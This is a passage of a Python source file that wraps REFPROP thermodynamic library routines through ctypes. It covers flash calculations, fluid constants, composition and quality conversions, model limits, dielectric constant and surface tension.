xvap,\n q = _q.value, t = _t.value, p = _p.value,\n ierr = _ierr.value, herr = _herr.value, defname = defname)\n elif routine.upper() == 'TH':\n if ksat == 0:\n return _prop(x = x, t = var1, h = var2, Dliq = _Dliq.value,\n ksat = ksat, Dvap = _Dvap.value, xliq = xliq,\n xvap = xvap, q = _q.value, p = _p.value,\n ierr = _ierr.value, herr = _herr.value,\n pbub = _pbub.value, pdew = _pdew.value,\n Dlbub = _Dlbub.value, Dvdew = _Dvdew.value,\n xbub = xbub, xdew = xdew, defname = defname)\n elif ksat == 1:\n return _prop(x = x, t = var1, h = var2, Dliq = _Dliq.value,\n ksat = ksat, Dvap = _Dvap.value, xliq = xliq,\n xvap = xvap, q = _q.value, p = _p.value,\n pbub = _pbub.value, pdew = _pdew.value,\n Dlbub = _Dlbub.value, Dvdew = _Dvdew.value,\n xbub = xbub, xdew = xdew, ierr = _ierr.value,\n herr = _herr.value, defname = defname)\n elif routine.upper() == 'TS':\n if ksat == 0:\n return _prop(x = x, t = var1, s = var2, Dliq = _Dliq.value,\n Dvap = _Dvap.value, xliq = xliq, xvap = xvap,\n q = _q.value, p = _p.value, ierr = _ierr.value,\n herr = _herr.value, pbub = _pbub.value,\n pdew = _pdew.value, Dlbub = _Dlbub.value,\n Dvdew = _Dvdew.value, xbub = xbub, xdew = xdew,\n ksat = ksat, defname = defname)\n elif ksat == 1:\n return _prop(x = x, t = var1, s = var2, Dliq = _Dliq.value,\n Dvap = _Dvap.value, xliq = xliq, xvap = xvap,\n q = _q.value, p = _p.value, pbub = _pbub.value,\n pdew = _pdew.value, Dlbub = _Dlbub.value,\n Dvdew = _Dvdew.value, xbub = xbub, xdew = xdew,\n ierr = _ierr.value, herr = _herr.value, ksat = ksat,\n defname = defname)\n elif routine.upper() == 'TE':\n if ksat == 0:\n return _prop(x = x, t = var1, e = var2, Dliq = _Dliq.value,\n Dvap = _Dvap.value, xliq = xliq, xvap = xvap,\n q = _q.value, p = _p.value, ierr = _ierr.value,\n herr = _herr.value, pbub = _pbub.value,\n pdew = _pdew.value, Dlbub = _Dlbub.value,\n Dvdew = _Dvdew.value, xbub = xbub, xdew = xdew,\n ksat = ksat, defname = defname)\n elif ksat == 1:\n return _prop(x = x, t = var1, e = var2, Dliq = _Dliq.value,\n Dvap = _Dvap.value, xliq = xliq, xvap = xvap,\n q = _q.value, p = _p.value, pbub = _pbub.value,\n pdew = _pdew.value, Dlbub = _Dlbub.value,\n Dvdew = _Dvdew.value, xbub = xbub, xdew = xdew,\n ierr = _ierr.value, herr = _herr.value, ksat = ksat,\n defname = defname)\n elif routine.upper() == 'TD':\n if ksat == 0:\n return _prop(x = x, t = var1, D = var2, Dliq = _Dliq.value,\n Dvap = _Dvap.value, xliq = xliq, xvap = xvap,\n q = _q.value, p = _p.value, ierr = _ierr.value,\n herr = _herr.value, pbub = _pbub.value,\n pdew = _pdew.value, Dlbub = _Dlbub.value,\n Dvdew = _Dvdew.value, xbub = xbub, xdew = xdew,\n ksat = ksat, defname = defname)\n elif ksat == 1:\n return _prop(x = x, t = var1, D = var2, Dliq = _Dliq.value,\n Dvap = _Dvap.value, xliq = xliq, xvap = xvap,\n q = _q.value, p = _p.value, pbub = _pbub.value,\n pdew = _pdew.value, Dlbub = _Dlbub.value,\n Dvdew = _Dvdew.value, xbub = xbub, xdew = xdew,\n ierr = _ierr.value, herr = _herr.value, ksat = ksat,\n defname = defname)\n elif routine.upper() == 'PD':\n if ksat == 0:\n return _prop(x = x, p = var1, D = var2, Dliq = _Dliq.value,\n Dvap = _Dvap.value, xliq = xliq, xvap = xvap,\n q = _q.value, t = _t.value, ierr = _ierr.value,\n herr = _herr.value, tbub = _tbub.value,\n tdew = _tdew.value, Dlbub = _Dlbub.value,\n Dvdew = _Dvdew.value, xbub = xbub, xdew = xdew,\n ksat = ksat, defname = defname)\n return prop\n elif ksat == 1:\n return _prop(x = x, p = var1, D = var2, Dliq = _Dliq.value,\n Dvap = _Dvap.value, xliq = xliq, xvap = xvap,\n q = _q.value, t = _t.value, tbub = _tbub.value,\n tdew = _tdew.value, Dlbub = _Dlbub.value,\n Dvdew = _Dvdew.value, xbub = xbub, xdew = xdew,\n ierr = _ierr.value, herr = _herr.value, ksat = ksat,\n defname = defname)\n elif routine.upper() == 'PH':\n if ksat == 0:\n return _prop(x = x, p = var1, h = var2, Dliq = _Dliq.value,\n Dvap = _Dvap.value, xliq = xliq, xvap = xvap,\n q = _q.value, t = _t.value, ierr = _ierr.value,\n herr = _herr.value, tbub = _tbub.value,\n tdew = _tdew.value, Dlbub = _Dlbub.value,\n Dvdew = _Dvdew.value, xbub = xbub, xdew = xdew,\n ksat = ksat, defname = defname)\n elif ksat == 1:\n return _prop(x = x, p = var1, h = var2, Dliq = _Dliq.value,\n Dvap = _Dvap.value, xliq = xliq, xvap = xvap,\n q = _q.value, t = _t.value, tbub = _tbub.value,\n tdew = _tdew.value, Dlbub = _Dlbub.value,\n Dvdew = _Dvdew.value, xbub = xbub, xdew = xdew,\n ierr = _ierr.value, herr = _herr.value, ksat = ksat,\n defname = defname)\n elif routine.upper() == 'PS':\n if ksat == 0:\n return _prop(x = x, p = var1, s = var2, Dliq = _Dliq.value,\n Dvap = _Dvap.value, xliq = xliq, xvap = xvap,\n q = _q.value, t = _t.value, ierr = _ierr.value,\n herr = _herr.value, tbub = _tbub.value,\n tdew = _tdew.value, Dlbub = _Dlbub.value,\n Dvdew = _Dvdew.value, xbub = xbub, xdew = xdew,\n ksat = ksat, defname = defname)\n elif ksat == 1:\n return _prop(x = x, p = var1, s = var2, Dliq = _Dliq.value,\n Dvap = _Dvap.value, xliq = xliq, xvap = xvap,\n q = _q.value, t = _t.value, tbub = _tbub.value,\n tdew = _tdew.value, Dlbub = _Dlbub.value,\n Dvdew = _Dvdew.value, xbub = xbub, xdew = xdew,\n ierr = _ierr.value, herr = _herr.value, ksat = ksat,\n defname = defname)\n elif routine.upper() == 'PE':\n if ksat == 0:\n return _prop(x = x, p = var1, e = var2, Dliq = _Dliq.value,\n Dvap = _Dvap.value, xliq = xliq, xvap = xvap,\n q = _q.value, t = _t.value, ierr = _ierr.value,\n herr = _herr.value, tbub = _tbub.value,\n tdew = _tdew.value, Dlbub = _Dlbub.value,\n Dvdew = _Dvdew.value, xbub = xbub, xdew = xdew,\n ksat = ksat, defname = defname)\n elif ksat == 1:\n return _prop(x = x, p = var1, e = var2, Dliq = _Dliq.value,\n Dvap = _Dvap.value, xliq = xliq, xvap = xvap,\n q = _q.value, t = _t.value, tbub = _tbub.value,\n tdew = _tdew.value, Dlbub = _Dlbub.value,\n Dvdew = _Dvdew.value, xbub = xbub, xdew = xdew,\n ierr = _ierr.value, herr = _herr.value, ksat = ksat,\n defname = defname)\n elif routine.upper() == 'TQ':\n if ksat == 0:\n return _prop(x = x, t = var1, q = var2, Dliq = _Dliq.value,\n kq = kq, Dvap = _Dvap.value, xliq = xliq, xvap = xvap,\n p = _p.value, ierr = _ierr.value, herr = _herr.value,\n pbub = _pbub.value, pdew = _pdew.value,\n Dlbub = _Dlbub.value, Dvdew = _Dvdew.value,\n xbub = xbub, xdew = xdew, ksat = ksat,\n defname = defname)\n elif ksat == 1:\n return _prop(x = x, t = var1, q = var2, Dliq = _Dliq.value,\n kq = kq, Dvap = _Dvap.value, xliq = xliq, xvap = xvap,\n p = _p.value, pbub = _pbub.value, pdew = _pdew.value,\n Dlbub = _Dlbub.value, Dvdew = _Dvdew.value,\n xbub = xbub, xdew = xdew, ierr = _ierr.value,\n herr = _herr.value, ksat = ksat, defname = defname)\n elif routine.upper() == 'PQ':\n if ksat == 0:\n return _prop(x = x, p = var1, q = var2, Dliq = _Dliq.value,\n kq = kq, Dvap = _Dvap.value, xliq = xliq, xvap = xvap,\n t = _t.value, ierr = _ierr.value, herr = _herr.value,\n tbub = _tbub.value, tdew = _tdew.value,\n Dlbub = _Dlbub.value, Dvdew = _Dvdew.value,\n xbub = xbub, xdew = xdew, ksat = ksat,\n defname = defname)\n elif ksat == 1:\n return _prop(x = x, p = var1, q = var2, Dliq = _Dliq.value,\n kq = kq, Dvap = _Dvap.value, xliq = xliq, xvap = xvap,\n t = _t.value, tbub = _tbub.value, tdew = _tdew.value,\n Dlbub = _Dlbub.value, Dvdew = _Dvdew.value,\n xbub = xbub, xdew = xdew, ierr = _ierr.value,\n herr = _herr.value, ksat = ksat, defname = defname)\n #~ elif routine.upper() == 'DQ':\n #~ return _prop(x = x, D = var1, q = var2, Dliq = _Dliq.value, kq = kq,\n #~ Dvap = _Dvap.value, xliq = xliq, xvap = xvap, t = _t.value,\n #~ p = _p.value, ierr = _ierr.value, herr = _herr.value, defname = defname)\n\n\ndef _abfl2(routine, var1, var2, x, kq=1, ksat=0, tbub=0, tdew=0, pbub=0,\n pdew=0, Dlbub=0, Dvdew=0, xbub=None, xdew=None):\n '''General flash calculation given two inputs and composition. Valid\n properties for the first input are temperature and pressure. Valid\n properties for the second input are density, energy, enthalpy, entropy,\n or quality. The character string ab specifies the inputs. Note that\n the input TP is not allowed here, but is done by calling TPFLSH or\n TPFL2.\n\n This routine calls TPFL2 within a secant-method iteration for\n pressure to find a solution. Initial guesses are based on liquid\n density at the bubble point and vapor density at the dew point.\n\n inputs:\n routine--character*2 string defining the inputs, e.g., 'TD' or 'PQ'\n var1--first property (either temperature or pressure)\n var2--second property (density, energy, enthalpy, entropy, or quality)\n x--overall (bulk) composition [array of mol frac]\n kq--flag specifying units for input quality when b=quality\n kq = 1 [default] quality on MOLAR basis [moles vapor/total moles]\n kq = 2 quality on MASS basis [mass vapor/total mass]\n ksat--flag for bubble and dew point limits\n 0 [default] = dew and bubble point limits computed here\n 1 = must provide values for the following:\n (for a=pressure):\n tbub--bubble point temperature [K] at (p,x=z)\n tdew--dew point temperature [K] at (p,y=z)\n (for a=temperature):\n pbub--bubble point pressure [kPa] at (t,x=z)\n pdew--dew point pressure [kPa] at (t,y=z)\n (for either case):\n Dlbub--liquid density [mol/L] at bubble point\n Dvdew--vapor density [mol/L] at dew point\n xbub--vapor composition [array of mol frac] at bubble point\n xdew--liquid composition [array of mol frac] at dew point\n\n outputs:\n t--temperature [K]\n p--pressure [kPa]\n D--molar density [mol/L]\n Dliq--molar density [mol/L] of the liquid phase\n Dvap--molar density [mol/L] of the vapor phase\n xliq--composition of liquid phase [array of mol frac]\n xvap--composition of vapor phase [array of mol frac]\n q--vapor quality on a MOLAR basis [moles vapor/total moles]'''\n\n defname = '_abfl2'\n\n _inputerrorcheck(locals())\n for each in range(len(x)):\n _x[each] = x[each]\n if xdew:\n for each in range(len(xdew)): _xdew[each] = xdew[each]\n if xbub:\n for each in range(len(xbub)): _xbub[each] = xbub[each]\n _ksat.value, _tbub.value, _kq.value = ksat, tbub, kq\n _tdew.value, _pbub.value, _pdew.value = tdew, pbub, pdew\n _Dlbub.value, _Dvdew.value = Dlbub, Dvdew\n _var1.value, _var2.value = var1, var2\n _routine.value = routine.upper().encode('ascii')\n\n _rpabfl2_(byref(_var1), byref(_var2), _x, byref(_kq), byref(_ksat),\n byref(_routine), byref(_tbub), byref(_tdew), byref(_pbub),\n byref(_pdew), byref(_Dlbub), byref(_Dvdew), _xbub, _xdew,\n byref(_t), byref(_p), byref(_Dliq), byref(_Dvap), _xliq,\n _xvap, byref(_q), byref(_ierr), byref(_herr), c_long(2), c_long(255))\n\n #define various x values\n xliq = normalize([_xliq[each] for each in range(_nc_rec.record)])['x']\n xvap = normalize([_xvap[each] for each in range(_nc_rec.record)])['x']\n xdew = normalize([_xdew[each] for each in range(_nc_rec.record)])['x']\n xbub = normalize([_xbub[each] for each in range(_nc_rec.record)])['x']\n if '_purefld_rec' in _Setuprecord.object_list \\\n and len(x) == 1:\n if len(x) != len(xliq):\n xliq = [xliq[_purefld_rec.record['icomp'] - 1]]\n if len(x) != len(xvap):\n xvap = [xvap[_purefld_rec.record['icomp'] - 1]]\n if len(x) != len(xdew):\n xdew = [xdew[_purefld_rec.record['icomp'] - 1]]\n if len(x) != len(xbub):\n xbub = [xbub[_purefld_rec.record['icomp'] - 1]]\n\n #Dvap and Dliq\n Dvap, Dliq = _Dvap.value, _Dliq.value\n #define q\n if routine.upper()[1] == 'Q':\n q = var2\n else:\n q = _q.value\n\n #calculate D\n if routine.upper()[1] == 'D':\n D = var2\n else:\n if Dliq == 0:\n D = Dvap\n elif Dvap == 0:\n D = Dliq\n else:\n D = 1 / (((1 / Dvap) * q) + ((1 / Dliq) * (1 - q)))\n\n #raise error if routine input is incorrect\n if not routine.upper()[0] in 'PT':\n raise RefpropinputError('Incorrect \"routine\" input, ' + str(routine) +\n ' is an invalid input')\n if not routine.upper()[1] in 'DEHSQ':\n raise RefpropinputError('Incorrect \"routine\" input, ' + str(routine) +\n ' is an invalid input')\n\n #return correction on the first input variable\n if routine.upper()[0] == 'P':\n #return correction on the second input variable\n if routine.upper()[1] == 'S':\n return _prop(x = x, t = _t.value, p = var1, s = var2, D = D, q = q,\n Dliq = Dliq, Dvap = Dvap, xliq = xliq, xbub = xbub,\n xvap = xvap, ksat = ksat, kq = kq,\n ierr = _ierr.value, herr = _herr.value,\n Dlbub = _Dlbub.value, Dvdew = _Dvdew.value,\n xdew = xdew, tbub = _tbub.value, tdew = _tdew.value,\n defname = defname)\n elif routine.upper()[1] == 'H':\n return _prop(x = x, t = _t.value, p = var1, h = var2, D = D, q = q,\n Dliq = Dliq, Dvap = Dvap, xliq = xliq, xbub = xbub,\n xvap = xvap, ksat = ksat, kq = kq,\n ierr = _ierr.value, herr = _herr.value,\n Dlbub = _Dlbub.value, Dvdew = _Dvdew.value,\n xdew = xdew, tbub = _tbub.value, tdew = _tdew.value,\n defname = defname)\n elif routine.upper()[1] == 'D':\n return _prop(x = x, t = _t.value, p = var1, D = var2, q = q,\n Dliq = Dliq, Dvap = Dvap, xliq = xliq, xbub = xbub,\n xvap = xvap, ksat = ksat, kq = kq,\n ierr = _ierr.value, herr = _herr.value,\n Dlbub = _Dlbub.value, Dvdew = _Dvdew.value,\n xdew = xdew, tbub = _tbub.value, tdew = _tdew.value,\n defname = defname)\n elif routine.upper()[1] == 'E':\n return _prop(x = x, t = _t.value, p = var1, e = var2, D = D, q = q,\n Dliq = Dliq, Dvap = Dvap, xliq = xliq, xbub = xbub,\n xvap = xvap, ksat = ksat, kq = kq,\n ierr = _ierr.value, herr = _herr.value,\n Dlbub = _Dlbub.value, Dvdew = _Dvdew.value,\n xdew = xdew, tbub = _tbub.value, tdew = _tdew.value,\n defname = defname)\n elif routine.upper()[1] == 'Q':\n return _prop(x = x, t = _t.value, p = var1, D = D, q = q,\n Dliq = Dliq, Dvap = Dvap, xliq = xliq, xbub = xbub,\n xvap = xvap, ksat = ksat, kq = kq,\n ierr = _ierr.value, herr = _herr.value,\n Dlbub = _Dlbub.value, Dvdew = _Dvdew.value,\n xdew = xdew, tbub = _tbub.value, tdew = _tdew.value,\n defname = defname)\n elif routine.upper()[0] == 'T':\n #return correction on the second input variable\n if routine.upper()[1] == 'S':\n return _prop(x = x, t = var1, p = _p.value, s = var2, D = D, q = q,\n Dliq = Dliq, Dvap = Dvap, xliq = xliq, xbub = xbub,\n xvap = xvap, ksat = ksat, kq = kq,\n ierr = _ierr.value, herr = _herr.value,\n pbub = _pbub.value, pdew = _pdew.value,\n Dlbub = _Dlbub.value, Dvdew = _Dvdew.value,\n xdew = xdew, defname = defname)\n elif routine.upper()[1] == 'H':\n return _prop(x = x, t = var1, p = _p.value, h = var2, D = D, q = q,\n Dliq = Dliq, Dvap = Dvap, xliq = xliq, xbub = xbub,\n xvap = xvap, ksat = ksat, kq = kq,\n ierr = _ierr.value, herr = _herr.value,\n pbub = _pbub.value, pdew = _pdew.value,\n Dlbub = _Dlbub.value, Dvdew = _Dvdew.value,\n xdew = xdew, defname = defname)\n elif routine.upper()[1] == 'D':\n return _prop(x = x, t = var1, p = _p.value, D = var2, q = q,\n Dliq = Dliq, Dvap = Dvap, xliq = xliq, xbub = xbub,\n xvap = xvap, ksat = ksat, kq = kq,\n ierr = _ierr.value, herr = _herr.value,\n pbub = _pbub.value, pdew = _pdew.value,\n Dlbub = _Dlbub.value, Dvdew = _Dvdew.value,\n xdew = xdew, defname = defname)\n elif routine.upper()[1] == 'E':\n return _prop(x = x, t = var1, p = _p.value, e = var2, D = D, q = q,\n Dliq = Dliq, Dvap = Dvap, xliq = xliq, xbub = xbub,\n xvap = xvap, ksat = ksat, kq = kq,\n ierr = _ierr.value, herr = _herr.value,\n pbub = _pbub.value, pdew = _pdew.value,\n Dlbub = _Dlbub.value, Dvdew = _Dvdew.value,\n xdew = xdew, defname = defname)\n elif routine.upper()[1] == 'Q':\n return _prop(x = x, t = var1, p = _p.value, D = D, q = var2,\n Dliq = Dliq, Dvap = Dvap, xliq = xliq, xbub = xbub,\n xvap = xvap, ksat = ksat, kq = kq,\n ierr = _ierr.value, herr = _herr.value,\n pbub = _pbub.value, pdew = _pdew.value,\n Dlbub = _Dlbub.value, Dvdew = _Dvdew.value,\n xdew = xdew, defname = defname)\n\n\ndef info(icomp=1):\n '''Provides fluid constants for specified component\n\n input:\n icomp--component number in mixture; 1 for pure fluid\n outputs:\n wmm--molecular weight [g/mol]\n ttrp--triple point temperature [K]\n tnbpt--normal boiling point temperature [K]\n tcrit--critical temperature [K]\n pcrit--critical pressure [kPa]\n Dcrit--critical density [mol/L]\n zcrit--compressibility at critical point [pc/(Rgas*Tc*Dc)]\n acf--accentric factor [-]\n dip--dipole moment [debye]\n Rgas--gas constant [J/mol-K]'''\n _inputerrorcheck(locals())\n _icomp.value = icomp\n\n _rpinfo_(byref(_icomp), byref(_wmm), byref(_ttrp), byref(_tnbpt),\n byref(_tcrit), byref(_pcrit), byref(_Dcrit), byref(_zcrit),\n byref(_acf), byref(_dip), byref(_Rgas))\n\n return _prop(icomp = icomp, wmm = _wmm.value, ttrp = _ttrp.value,\n tnbpt = _tnbpt.value, tcrit = _tcrit.value, Dcrit = _Dcrit.value,\n zcrit = _zcrit.value, acf = _acf.value, dip = _dip.value,\n Rgas = _Rgas.value)\n\n\ndef rmix2(x):\n '''Return the gas \"constant\" as a combination of the gas constants for\n the pure fluids\n\n inputs:\n x--composition [array of mol frac]\n outputs:\n Rgas--gas constant [J/mol-K]'''\n _inputerrorcheck(locals())\n for each in range(len(x)): _x[each] = x[each]\n\n _rprmix2_(_x, byref(_Rgas))\n\n return _prop(x = x, Rgas = _Rgas.value)\n\n\ndef xmass(x):\n '''Converts composition on a mole fraction basis to mass fraction\n\n input:\n x--composition array [array of mol frac]\n outputs:\n xkg--composition array [array of mass frac]\n wmix--molar mass of the mixture [g/mol], a.k.a. \"molecular weight\"'''\n _inputerrorcheck(locals())\n for each in range(len(x)): _x[each] = x[each]\n\n _rpxmass_(_x, _xkg, byref(_wmix))\n\n xkg = normalize([_xkg[each] for each in range(_nc_rec.record)])['x']\n if '_purefld_rec' in _Setuprecord.object_list \\\n and len(x) == 1:\n if len(x) != len(xkg):\n xkg = [xkg[_purefld_rec.record['icomp'] - 1]]\n return _prop(x = x, xkg = xkg, wmix = _wmix.value)\n\n\ndef xmole(xkg):\n '''Converts composition on a mass fraction basis to mole fraction\n\n input:\n xkg--composition array [array of mass frac]\n outputs:\n x--composition array [array of mol frac]\n wmix--molar mass of the mixture [g/mol], a.k.a. \"molecular weight\"'''\n _inputerrorcheck(locals())\n for each in range(len(xkg)): _xkg[each] = xkg[each]\n \n _rpxmole_(_xkg, _x, byref(_wmix))\n\n x = normalize([_x[each] for each in range(_nc_rec.record)])['x']\n if '_purefld_rec' in _Setuprecord.object_list \\\n and len(xkg) == 1:\n if len(xkg) != len(x):\n x = [x[_purefld_rec.record['icomp'] - 1]]\n return _prop(xkg = xkg, x = x, wmix = _wmix.value)\n\n\ndef limitx(x, htype='EOS', t=0, D=0, p=0):\n '''returns limits of a property model as a function of composition\n and/or checks input t, D, p against those limits\n\n Pure fluid limits are read in from the .FLD files; for mixtures, a\n simple mole fraction weighting in reduced variables is used.\n\n Attempting calculations below the mininum temperature and/or above the\n maximum density will result in an error. These will often correspond to\n a physically unreasonable state; also many equations of state do not\n extrapolate reliably to lower T's and higher D's.\n\n A warning is issued if the temperature is above the maximum but below\n 1.5 times the maximum; similarly pressures up to twice the maximum\n result in only a warning. Most equations of state may be extrapolated to\n higher T's and P's. Temperatures and/or pressures outside these extended\n limits will result in an error.\n\n When calling with an unknown temperature, set t to -1 to avoid\n performing the melting line check\n\n inputs:\n x--composition array [mol frac]\n htype--flag indicating which models are to be checked [character*3]\n 'EOS': equation of state for thermodynamic properties\n 'ETA': viscosity\n 'TCX': thermal conductivity\n 'STN': surface tension\n t--temperature [K]\n D--molar density [mol/L]\n p--pressure [kPa]\n N.B.--all inputs must be specified, if one or more are not\n available, (or not applicable as in case of surface tension)\n use reasonable values, such as:\n t = tnbp\n D = 0\n p = 0\n outputs:\n tmin--minimum temperature for model specified by htyp [K]\n tmax--maximum temperature [K]\n Dmax--maximum density [mol/L]\n pmax--maximum pressure [kPa]'''\n\n _inputerrorcheck(locals())\n _htype.value = htype.upper().encode('ascii')\n for each in range(len(x)): _x[each] = x[each]\n _t.value, _D.value, _p.value = t, D, p\n \n _rplimitx_(byref(_htype), byref(_t), byref(_D), byref(_p), _x,\n byref(_tmin), byref(_tmax), byref(_Dmax), byref(_pmax),\n byref(_ierr), byref(_herr), c_long(3), c_long(255))\n\n return _prop(x = x, t = t, D = D, htype = htype.upper(), p = p,\n tmin = _tmin.value, tmax = _tmax.value, Dmax = _Dmax.value,\n pmax = _pmax.value, ierr = _ierr.value, herr = _herr.value,\n defname = 'limitx')\n\n\ndef limitk(htype='EOS', icomp=1, t='tnbp', D=0, p=0):\n '''Returns limits of a property model (read in from the .FLD files) for\n a mixture component and/or checks input t, D, p against those limits\n\n This routine functions in the same manner as LIMITX except that the\n composition x is replaced by the component number icomp.\n\n Attempting calculations below the minimum temperature and/or above the\n maximum density will result in an error. These will often correspond to\n a physically unreasonable state; also many equations of state do not\n extrapolate reliably to lower T's and higher D's.\n\n A warning is issued if the temperature is above the maximum but below\n 1.5 times the maximum; similarly pressures up to twice the maximum\n result in only a warning. Most equations of state may be extrapolated to\n higher T's and P's. Temperatures and/or pressures outside these extended\n limits will result in an error.\n\n inputs:\n htyp--flag indicating which models are to be checked [character*3]\n 'EOS': equation of state for thermodynamic properties\n 'ETA': viscosity\n 'TCX': thermal conductivity\n 'STN': surface tension\n icomp--component number in mixture; 1 for pure fluid\n t--temperature [K]\n D--molar density [mol/L]\n p--pressure [kPa]\n N.B.--all inputs must be specified, if one or more are not\n available, (or not applicable as in case of surface tension) use\n reasonable values, such as:\n t = tnbp (normal boiling point temperature)\n D = 0\n p = 0\n outputs:\n tmin--minimum temperature for model specified by htyp [K]\n tmax--maximum temperature [K]\n Dmax--maximum density [mol/L]\n pmax--maximum pressure [kPa]'''\n if t == 'tnbp':\n t = info(icomp)['tnbpt']\n\n _inputerrorcheck(locals())\n _htype.value = htype.upper().encode('ascii')\n _icomp.value = icomp\n _t.value, _D.value, _p.value = t, D, p\n\n _rplimitk_(byref(_htype), byref(_icomp), byref(_t), byref(_D),\n byref(_p), byref(_tmin), byref(_tmax), byref(_Dmax),\n byref(_pmax), byref(_ierr), byref(_herr), c_long(3), c_long(255))\n\n return _prop(icomp = icomp, t = t, D = D, htype = htype.upper(),\n p = p, tmin = _tmin.value, tmax = _tmax.value,\n Dmax = _Dmax.value, pmax = _pmax.value, ierr = _ierr.value,\n herr = _herr.value, defname = 'limitl')\n\n\ndef limits(x, htype='EOS'):\n '''Returns limits of a property model as a function of composition.\n\n Pure fluid limits are read in from the .FLD files; for mixtures, a\n simple mole fraction weighting in reduced variables is used.\n\n inputs:\n htype--flag indicating which models are to be checked [character*3]\n 'EOS': equation of state for thermodynamic properties\n 'ETA': viscosity\n 'TCX': thermal conductivity\n 'STN': surface tension\n x--composition array [mol frac]\n outputs:\n tmin--minimum temperature for model specified by htyp [K]\n tmax--maximum temperature [K]\n Dmax--maximum density [mol/L]\n pmax--maximum pressure [kPa]'''\n _inputerrorcheck(locals())\n _htype.value = htype.upper().encode('ascii')\n for each in range(len(x)): _x[each] = x[each]\n\n _rplimits_(byref(_htype), _x, byref(_tmin), byref(_tmax), byref(_Dmax),\n byref(_pmax), c_long(3))\n\n return _prop(x = x,\n htype = htype.upper(), tmin = _tmin.value, tmax = _tmax.value,\n Dmax = _Dmax.value, pmax = _pmax.value)\n\n\ndef qmass(q, xliq, xvap):\n '''converts quality and composition on a mole basis to a mass basis\n\n inputs:\n q--molar quality [moles vapor/total moles]\n qmol = 0 indicates saturated liquid\n qmol = 1 indicates saturated vapor\n 0 < qmol < 1 indicates a two-phase state\n mol < 0 or qmol > 1 are not allowed and will result in warning\n xliq--composition of liquid phase [array of mol frac]\n xvap--composition of vapor phase [array of mol frac]\n outputs:\n qkg--quality on mass basis [mass of vapor/total mass]\n xlkg--mass composition of liquid phase [array of mass frac]\n xvkg--mass composition of vapor phase [array of mass frac]\n wliq--molecular weight of liquid phase [g/mol]\n wvap--molecular weight of vapor phase [g/mol]'''\n _inputerrorcheck(locals())\n _q.value = q\n for each in range(len(xliq)):\n _xliq[each] = xliq[each]\n for each in range(len(xvap)):\n _xvap[each] = xvap[each]\n \n _rpqmass_(byref(_q), _xliq, _xvap, byref(_qkg), _xlkg, _xvkg,\n byref(_wliq), byref(_wvap), byref(_ierr), byref(_herr), c_long(255))\n\n xlkg = normalize([_xlkg[each] for each in range(_nc_rec.record)])['x']\n xvkg = normalize([_xvkg[each] for each in range(_nc_rec.record)])['x']\n if '_purefld_rec' in _Setuprecord.object_list \\\n and (len(xliq) == 1 or len(xvap) == 1):\n if len(xliq) != len(xlkg):\n xlkg = [xlkg[_purefld_rec.record['icomp'] - 1]]\n if len(xvap) != len(xvkg):\n xvkg = [xvkg[_purefld_rec.record['icomp'] - 1]]\n return _prop(q = q, xliq = xliq, xvap = xvap, qkg = _qkg.value, xlkg = xlkg,\n xvkg = xvkg, wliq = _wliq.value, wvap = _wvap.value,\n ierr = _ierr.value, herr = _herr.value, defname = 'qmass')\n\n\ndef qmole(qkg, xlkg, xvkg):\n '''Converts quality and composition on a mass basis to a molar basis.\n\n inputs:\n qkg--quality on mass basis [mass of vapor/total mass]\n qkg = 0 indicates saturated liquid\n qkg = 1 indicates saturated vapor\n 0 < qkg < 1 indicates a two-phase state\n qkg < 0 or qkg > 1 are not allowed and will result in warning\n xlkg--mass composition of liquid phase [array of mass frac]\n xvkg--mass composition of vapor phase [array of mass frac]\n outputs:\n q--quality on mass basis [mass of vapor/total mass]\n xliq--molar composition of liquid phase [array of mol frac]\n xvap--molar composition of vapor phase [array of mol frac]\n wliq--molecular weight of liquid phase [g/mol]\n wvap--molecular weight of vapor phase [g/mol]'''\n\n _inputerrorcheck(locals())\n _qkg.value = qkg\n for each in range(len(xlkg)):\n _xlkg[each] = xlkg[each]\n for each in range(len(xvkg)):\n _xvkg[each] = xvkg[each]\n \n _rpqmole_(byref(_qkg), _xlkg, _xvkg, byref(_q), _xliq, _xvap,\n byref(_wliq), byref(_wvap), byref(_ierr), byref(_herr), c_long(255))\n\n xliq = normalize([_xliq[each] for each in range(_nc_rec.record)])['x']\n xvap = normalize([_xvap[each] for each in range(_nc_rec.record)])['x']\n if '_purefld_rec' in _Setuprecord.object_list \\\n and (len(xlkg) == 1 or len(xvkg) == 1):\n if len(xlkg) != len(xliq):\n xliq = [xliq[_purefld_rec.record['icomp'] - 1]]\n if len(xvkg) != len(xvap):\n xvap = [xvap[_purefld_rec.record['icomp'] - 1]]\n return _prop(qkg = qkg, xlkg = xlkg, xvkg = xvkg, q = _q.value, xliq = xliq,\n xvap = xvap, wliq = _wliq.value, wvap = _wvap.value,\n ierr = _ierr.value, herr = _herr.value, defname = 'qmole')\n\n\ndef wmol(x):\n '''Molecular weight for a mixture of specified composition\n\n input:\n x--composition array [array of mol frac]\n output (as function value):\n wmix--molar mass [g/mol], a.k.a. \"molecular weight'''\n _inputerrorcheck(locals())\n for each in range(len(x)): _x[each] = x[each]\n\n _rpwmoldll_(_x, byref(_wmix))\n\n return _prop(x = x, wmix = _wmix.value)\n\n\ndef dielec(t, D, x):\n '''Compute the dielectric constant as a function of temperature,\n density, and composition.\n\n inputs:\n t--temperature [K]\n d--molar density [mol/L]\n x--composition [array of mol frac]\n output:\n de--dielectric constant'''\n _inputerrorcheck(locals())\n _t.value, _D.value = t, D\n for each in range(len(x)): _x[each] = x[each]\n \n _rpdielec_(byref(_t), byref(_D), _x, byref(_de))\n\n return _prop(x = x, t = t, D= D, de = _de.value)\n\n\ndef surft(t, x):\n '''Compute surface tension\n\n inputs:\n t--temperature [K]\n x--composition [array of mol frac] (liquid phase input only)\n outputs:\n D--molar density of liquid phase [mol/L]\n if D > 0 use as input value\n < 0 call SATT to find density\n sigma--surface tension [N/m]'''\n\n _inputerrorcheck(locals())\n _t.value = t\n for each in range(len(x)): _x[each] = x[each]\n \n _rpsurft_(byref(_t), byref(_D), _x, byref(_sigma), byref(_ierr),\n byref(_herr), c_long(255))\n\n return _prop(x = x, t = t, D = _D.value, sigma = _sigma.value,\n ierr = _ierr.value, herr = _herr.value, defname = 'surft')\n\n\ndef surten(t, Dliq, Dvap, xliq, xvap):\n '''Compute surface tension\n\n inputs:\n t--temperature [K]\n Dliq--molar density of liquid phase [mol/L]\n Dvap--molar density of vapor phase [mol/L]\n if either Dliq or Dvap < 0 call SATT to find densities\n xliq--composition of liquid phase [array of mol frac]\n xvap--composition of liquid phase [array of mol frac]\n (xvap is optional input if Dliq < 0 or Dvap < 0)\n outputs:\n sigma--surface tension [N/m]'''\n\n 